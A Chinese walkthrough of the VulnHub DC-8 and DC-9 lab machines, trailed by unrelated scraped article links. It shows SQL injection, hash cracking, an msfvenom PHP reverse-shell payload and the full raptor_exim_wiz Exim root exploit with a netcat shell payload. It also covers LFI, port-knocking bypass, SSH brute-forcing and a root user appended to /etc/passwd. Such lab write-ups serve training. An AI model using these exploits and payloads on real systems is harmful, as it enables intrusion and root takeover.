DC8-通关手册

DC-8是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验。

这个挑战有点复杂,既是实际挑战,又是关于在Linux上安装和配置的两因素身份验证是否可以阻止Linux服务器被利用的“概念证明”。

由于在Twitter上询问了有关双重身份验证和Linux的问题,也由于@ theart42的建议,最终导致了该挑战的“概念验证”部分。

这项挑战的最终目标是绕过两因素身份验证,获得root权限并读取唯一的标志。

下载地址:https://www.vulnhub.com/entry/dc-8,367/

运用的知识点

Drupal 7 SQL注入
john破解HASH
Drupal 7 后台编辑页面 Getshell
eximSUID本地提权

信息搜集

拿到靶机先对它的 IP 进行端口扫描:

nmap -A -T4 192.168.1.147

由上图可见,它开放了 22(ssh)、80(http)两个服务端口,而 NMAP 帮我们检测出靶机的 CMS 是 Drupal 7!我寻思DC系列的靶机都是这个CMS?不废话,我们先来看看它的web页面:

http://192.168.1.147/

Drupal 7 SQL注入

经过在页面上的侦查,我发现有三个页面引起了我的注意:

他们的参数是 http://192.168.1.147/?nid=1 ,看上去像是一个SQL注入点,于是我手工判断是否存在注入,nid=2-1,结果它返回了nid=1 的页面,说明它存在注入!

随后掏出我的SQLMAP神器上去就是一顿梭哈获取到了管理员的账号和加密的HASH

sqlmap -u 192.168.1.147/?nid=2 -D d7db -T users -C name,pass --dump
Database: d7db
Table: users
[2 entries]
+-------+---------------------------------------------------------+
| name | pass |
+-------+---------------------------------------------------------+
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+-------+---------------------------------------------------------+

john破解HASH

紧接着我用 KALI 自带的 john 开膛手杰克对他们两个密码一一破解!破解 admin 的 HASH 破解不出来:

破解 john 的密码为 turtle

获取到 john 的密码后我用它的密码登陆到了网站后台:

http://192.168.1.147/user

Drupal 7 后台编辑页面 Getshell

登陆到网站的后台后我们需要获取到webshell!我在网站的 Webform 找到了可以编辑 PHP 的页面:

这个和 DC-7 靶机有点类似,都是通过后台编辑 PHP 页面来获取到 webshell!我首先是用 MSF 生成了一段 payload

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.128 lport=9999 -f raw

然后开启 MSF 监听模式:

最后把刚刚 MSF 生成的 Payload 放到网站的 PHP 编辑页面里:

保存后来到网站的 Contact Us 提交页面:

这个时候 Metasploit 就成功反弹得到了一枚 shell

先让它切换到 shell 环境 然后使用 Python 得到一个 bash shell:

python -c 'import pty;pty.spawn("/bin/bash")'

获取到 shell 之后,我切换到 /home 目录发现只有一个用户 dc8user,但是它里面没有什么文件:

exim本地提权获取Flag

随后我使用 find 命令来查找具有 SUID 权限的文件命令发现了一个 exim4

(PS:Exim是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件,该软件基于GPL协议开发,是一款开源软件。 该软件主要运行于类UNIX系统。)

find / -perm -u=s -type f 2>/dev/null

然后我又看了看 exim 的版本发现它的版本是 4.8.9

exim --version

得到了软件的版本信息那么我们就可以去到 exploit-db 上去搜索有关于这个软件版本的相关漏洞:

由上图可见,它由两个 POC,一个是基于 Metasploit 的,一个是其他的!在 OSCP 考试中 Metasploit 只能使用一次,所以说我们不到万不得已尽量就不要使用 Metasploit!这是关于它的介绍和 EXP

#!/bin/bash

#
# raptor_exim_wiz - "The Return of the WIZard" LPE exploit
# Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in Exim versions 4.87 to 4.91 (inclusive).
# Improper validation of recipient address in deliver_message()
# function in /src/deliver.c may lead to remote command execution.
# (CVE-2019-10149)
#
# This is a local privilege escalation exploit for "The Return
# of the WIZard" vulnerability reported by the Qualys Security
# Advisory team.
#
# Credits:
# Qualys Security Advisory team (kudos for your amazing research!)
# Dennis 'dhn' Herrmann (/dev/tcp technique)
#
# Usage (setuid method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m setuid
# Preparing setuid shell helper...
# Delivering setuid payload...
# [...]
# Waiting 5 seconds...
# -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
# Usage (netcat method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m netcat
# Delivering netcat payload...
# Waiting 5 seconds...
# localhost [127.0.0.1] 31337 (?) open
# id
# uid=0(root) gid=0(root) groups=0(root)
#
# Vulnerable platforms:
# Exim 4.87 - 4.91
#
# Tested against:
# Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz]
# METHOD="setuid" # default method
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost' # usage instructions
function usage()
{
echo "$0 [-m METHOD]"
echo
echo "-m setuid : use the setuid payload (default)"
echo "-m netcat : use the netcat payload"
echo
exit 1
} # payload delivery
function exploit()
{
# connect to localhost:25
exec 3<>/dev/tcp/localhost/25 # deliver the payload
read -u 3 && echo $REPLY
echo "helo localhost" >&3
read -u 3 && echo $REPLY
echo "mail from:<>" >&3
read -u 3 && echo $REPLY
echo "rcpt to:<$PAYLOAD>" >&3
read -u 3 && echo $REPLY
echo "data" >&3
read -u 3 && echo $REPLY
for i in {1..31}
do
echo "Received: $i" >&3
done
echo "." >&3
read -u 3 && echo $REPLY
echo "quit" >&3
read -u 3 && echo $REPLY
} # print banner
echo
echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'
echo 'Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>'
echo # parse command line
while [ ! -z "$1" ]; do
case $1 in
-m) shift; METHOD="$1"; shift;;
* ) usage
;;
esac
done
if [ -z $METHOD ]; then
usage
fi # setuid method
if [ $METHOD = "setuid" ]; then # prepare a setuid shell helper to circumvent bash checks
echo "Preparing setuid shell helper..."
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c
gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null
if [ $? -ne 0 ]; then
echo "Problems compiling setuid shell helper, check your gcc."
echo "Falling back to the /bin/sh method."
cp /bin/sh /tmp/pwned
fi
echo # select and deliver the payload
echo "Delivering $METHOD payload..."
PAYLOAD=$PAYLOAD_SETUID
exploit
echo # wait for the magic to happen and spawn our shell
echo "Waiting 5 seconds..."
sleep 5
ls -l /tmp/pwned
/tmp/pwned # netcat method
elif [ $METHOD = "netcat" ]; then # select and deliver the payload
echo "Delivering $METHOD payload..."
PAYLOAD=$PAYLOAD_NETCAT
exploit
echo # wait for the magic to happen and spawn our shell
echo "Waiting 5 seconds..."
sleep 5
nc -v 127.0.0.1 31337 # print help
else
usage
fi

然后我吧 exp 复制到了 root.sh 里,当然你也可以吧这个 exp 下载到本地,再由本地上传到靶机服务器里,但是我嫌它麻烦,我直接 vi 编辑进去就可以了:

一切就绪之后先给它一个可执行的权限:

chmod 777 root.sh

按照脚本的提示运行 root.sh :

./root.sh -m netcat

然后 KALI 监听 4444 端口获取到一枚 root 权限的 shell:

最终也是在 /root 目录下获取到了 Flag

DC9-通关手册

DC-9是 DC 系列的最后一个靶机了,这项挑战的最终目标是扎根并读取唯一的标志。

这个靶机有点意思,是通过频繁的爆破SSH最终通过写入用户到 passwd 提权才拿到的Flag。

下载地址:https://www.vulnhub.com/entry/dc-9,412/

运用到的知识点

SQL注入获取账号密码
LFI本地文件包含漏洞
knockd的保护SSH机制
绕过knockd限制暴力破解SSH
写入文件到passwd提权

信息搜集

获取到靶机 IP 后先对它进行端口扫描看看它开放了那些服务:

nmap -A -T4 192.168.1.148

可以看到,靶机只开放了 80(http),而22(ssh)被过滤了!应该是做了防护!我们先来看看它的 WEB 服务吧:

通过查看它的页面我发现它的页面上有一些用户的信息:

还有搜索的提交页面:

SQL注入获取账号密码

既然它搜索可以查询到相应到信息,那么说明它吧我们的条件带入数据库里查询了,很有可能会存在SQL注入!

按照我的思路,不管他三七二十一直接丢到Sqlmap里一顿梭哈!我先是使用Burp抓包:

把抓到的数据包保存到本地 post.txt 文件里:

最后丢到Sqlmap里跑发现是存在注入的:

最终获取到网站后台的管理员账号和密码HASH

sqlmap -r post.txt -D Staff -T Users -C Username,Password --dump

通过解密得到了账号 admin 的密码为 transorbital1

LFI本地文件包含漏洞

获取到账号和密码后登陆到了网站到页面,其中发现了 manage.php 页面底部有一个提示引起了我的注意:File does not exist

翻译过来就是文件未找到!这个时候脑子里第一时间想到的就是 LFI!后来通过我 FUZZ 发现真的是存在本地文件包含漏洞:

http://192.168.1.148/manage.php?file=../../../../../../etc/passwd

绕过knockd限制暴力破解SSH

可以看到我们可以查看 passwd 文件,而之前我们通过sqlmap获取到了一堆账号和密码,而那些账号和 passwd 里的账号是一样的!那么我们就可以利用获取到的账号和密码挨个去碰撞看看能不能登陆到它的 SSH

我先是把账号和密码保存到了 user 和 pass 里:

保存完后我尝试使用 Hydra 去爆破发现它连接请求被拒绝了:

hydra -L user -P pass 192.168.1.148 ssh

到了这里我们要知道关于 SSH 的三个机制:

如果需要远程访问计算机并启用了 Secure Shell (SSH) 连接,黑客就会尝试突破您的防线并控制您的计算机,您必须接受这个事实。尽管不能保证计算机不会被 “黑客” 占领,但是一些简单的解决方案有助于保护 SSH,可以让攻击困难一些。本文讨论三种技术:

1、把 SSH 的标准端口改为不常用的值并增强 SSH 配置,从而挡住最简单的攻击。
2、定义有限的用户列表,只允许这些用户登录。
3、完全隐藏允许 SSH 访问的事实,要求根据特殊的 “敲门” 序列识别有效用户。

首先进行排除法我们刚开始就对它进行端口扫描了,它只开放了两个端口,由此判断它的端口没有改变,排除一!

其次我们通过 LFI 发现 passwd 文件让我们得到了 SSH 的用户名,由此判断它的用户名是对的,排除二!

那么估计就是 SSH 被某些手段所隐藏了,我们需要根据特殊的“敲门”才能登陆到用户!
这个时候我通过查看了下面这篇文章找到了原因:

https://zhuanlan.zhihu.com/p/43716885

如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockdknockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。

既然知道了原理之后我们就知道了如何去应对它了!借助偶像猪猪侠的话:只有对原理了然如心,你才能突破更多的限制!

如果目标服务器上按照了 knockd ,那么默认的配置文件就存放在 /etc/knockd.conf 里!那么我们就可以利用 LFI 去查看这个:

http://192.168.1.148/manage.php?file=../../../../../..//etc/knockd.conf
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

这个时候我们就得到了要“敲门”的序列号为:746984759842!紧接着我在 KALI 中安装了 knockd

apt-get install knockd

安装完后我们只需要使用 knockd 进行“敲门”就可以使用 hydra 九头蛇爆破了:

knock 192.168.1.148 7469 8475 9842

hydra -L user -P pass 192.168.1.148 ssh

这个时候就成功爆破出三个用户:

[22][ssh] host: 192.168.1.148   login: janitor   password: Ilovepeepee
[22][ssh] host: 192.168.1.148 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.1.148 login: joeyt password: Passw0rd

登陆到 janitor 用户后使用一些常规的提权操作后无果,但是我发现了一个隐藏目录,里面存放着一些密码:

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

很显然了作者想让我们挨个去登陆这些用户才能获取到 root !我再次把收集到的密码放到 pass 文件里然后再次爆破:

回炉再造之后我们又得到了一个用户:

[22][ssh] host: 192.168.1.148   login: fredf   password: B4-Tru3-001

登陆成功后我查看有没有那些 sudo 权限的命令发现了一个 test

尝试 sudo 运行这个文件发现它是一个 python 脚本:

写入文件到passwd提权

随后找到了这个文件所在的目录:

find / -name test.py 2>/dev/null

/opt/devstuff/test.py

查看 test.py 文件得到了它的代码:

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1) else :
f = open(sys.argv[1], "r")
output = (f.read()) f = open(sys.argv[2], "a")
f.write(output)
f.close()

通过代码审计它这个脚本是通过 sys 模块,它是一个简单的数据追加程序。它将使用2个文件作为参数,然后将第一个文件内容附加第二个文件中。

关于 sys 模块大家可以看看这篇文章:https://blog.csdn.net/anndy_/article/details/76824540

最后我们通过 openssl 生成了一个账号密码然后写入到了 passwd :

关于 openssl 可以看看这篇文章:https://www.jianshu.com/p/e311a6537467

openssl passwd -1 -salt saul 123456
# 生成 passwd 密码的 hash 值

echo 'saul:$1$saul$HqxyWB6MwTZbm/LiAFFZX.:0:0::/root:/bin/bash' >> /tmp/raj
# 在 tmp 创建一个 raj 文件,里面是我们的密码
sudo ./test /tmp/raj /etc/passwd
# 运行 test 文件 把 raj 里的内容追加到 /etc/passwd 里
su saul
# 切换用户到 saul 成功获取 root 权限

最终也是在 /root 目录下拿到了 Flag 文件!

至此 DC 系列靶机已经完结~

VulnHub-[DC-8-9]-系列通关手册的更多相关文章

  1. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  2. PNP8550(3.3V DC蜂鸣器) - 原理图系列

    一.截图 watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQveGlhb2Jpbl9ITEo4MA==/font/5a6L5L2T/fontsize/400/fi ...

  3. upload-labs通关手册

    最近在练习文件上传,所以记录一下自己练习的过程,既能帮助自己以后复习,同时也能帮到初学者. 主要用到的工具是Burpsuite.首先我们应该明白上传文件的目的是什么,通过上传文件将web后门上传并被成 ...

  4. vulnhub: DC 2

    首先地址探测找到主机IP: root@kali:~# nmap -sn 192.168.74.139/24 Starting Nmap 7.80 ( https://nmap.org ) at 202 ...

  5. C# 通关手册(持续更新......)

    String 常用静态方法 string.Compare(string str1,string str2,bool ignoreCase) 按照字典顺序比较字符串 当str1 > str2时,返 ...

  6. CentOS使用手册(一)

    前言:全栈开发当然少不了服务器的配置与维护,本次打算参考网上资料和大地老师的视频写一个CentOS系列的手册,方便日后查阅. 本篇目录: 1.虚拟机上的CentOS基本安装流程 2.远程连接Linux ...

  7. DC靶机1-9合集

    DC1 文章前提概述 本文介绍DC-1靶机的渗透测试流程 涉及知识点(比较基础): nmap扫描网段端口服务 msf的漏洞搜索 drupal7的命令执行利用 netcat反向shell mysql的基 ...

  8. N32G4系列——复用功能重映射(USART为例)

    开发测试环境:SDK,N32G455x系列芯片 在国民MCU中G系列IO口有第二复用功能,这时需要用到重映射功能. 一.系列芯片手册定义 1.1.芯片IO口默认功能查看 如图,在该系列芯片的数据手册中 ...

  9. Java学习必备书籍推荐终极版!

    Java 基础 <Head First Java>(推荐,豆瓣评分 8.7,1.0K+人评价): 可以说是我的 Java 启蒙书籍了,特别适合新手读当然也适合我们用来温故 Java 知识点 ...

随机推荐

  1. Pycharm 使用问题一览

    1. I'm not sure if it is the problem of Pycharm or any other IDE. 需要从本地文件中导入文件,但总是出现波浪线,按ctril点进去发现是 ...

  2. 『GoLang』接口

    接口是什么 Go 语言不是一种 "传统" 的面向对象编程语言:它里面没有类和继承的概念. 但是 Go 语言里有非常灵活的 接口 概念,通过它可以实现很多面向对象的特性.接口提供了一 ...

  3. docker network 参数

    一. 格式 docker network COMMAND 二.COMMAND 讲解 2.1 .docker network connect 格式 docker network connect [OPT ...

  4. AT3945-[ARC092D]Two Faced Edges【dfs】

    正题 题目链接:https://www.luogu.com.cn/problem/AT3945 题目大意 \(n\)个点\(m\)条边的一张图,对于每条边求它翻转后强连通分量数量是否变化. \(1\l ...

  5. P6499-[COCI2016-2017#2]Burza【状压dp】

    正题 题目链接:https://www.luogu.com.cn/problem/P6499 题目大意 \(n\)个点的一棵树,开始有一个棋子在根处,开始先手选择一个点封锁,然后后手封锁棋子所在点然后 ...

  6. github注册教程最新版(十年程序员保姆级教程)

    您可以在墨抒颖的网站体验本文章的纯净版 准备 拥有一个可以接受信息的邮箱即可 开始 点击github官网github step1.进入注册页面 点击Sign Up进入注册流程 step2.输入邮箱 这 ...

  7. Python代码阅读(第12篇):初始化二维数组

    Python 代码阅读合集介绍:为什么不推荐Python初学者直接看项目源码 本篇阅读的代码实现了二维数组的初始化功能,根据给定的宽高初始化二维数组. 本篇阅读的代码片段来自于30-seconds-o ...

  8. 微服务架构理论&SpringCloud

    一.什么是微服务? 微服务是一种程序架构模式,它提倡将单体应用程序划分成若干的小服务模块,服务之间互相协调.互相配合,为用户提供最终价值.每个服务运行在其独立的进程中,服务与服务间采用轻量级的通信机制 ...

  9. S_型文法到q_型文法再到LL(1)型文法演进笔记

    title: S_型文法到q_型文法再到LL(1)型文法演进笔记 date: 2020-08-23 S_型文法到q_型文法再到LL(1)型文法演进笔记 S_型文法(简单的确定性文法) 每个产生式的右部 ...

  10. 树莓派3B搭建NODE-RED运行环境并构建数据流

    树莓派3B搭建NODE-RED运行环境并构建数据流 树莓派搭建Node-RED环境 树莓派自2015年开始是默认就带NODE-RED的,但是如今已是2018年:)自带的版本已经很老了,可通过下面的命令 ...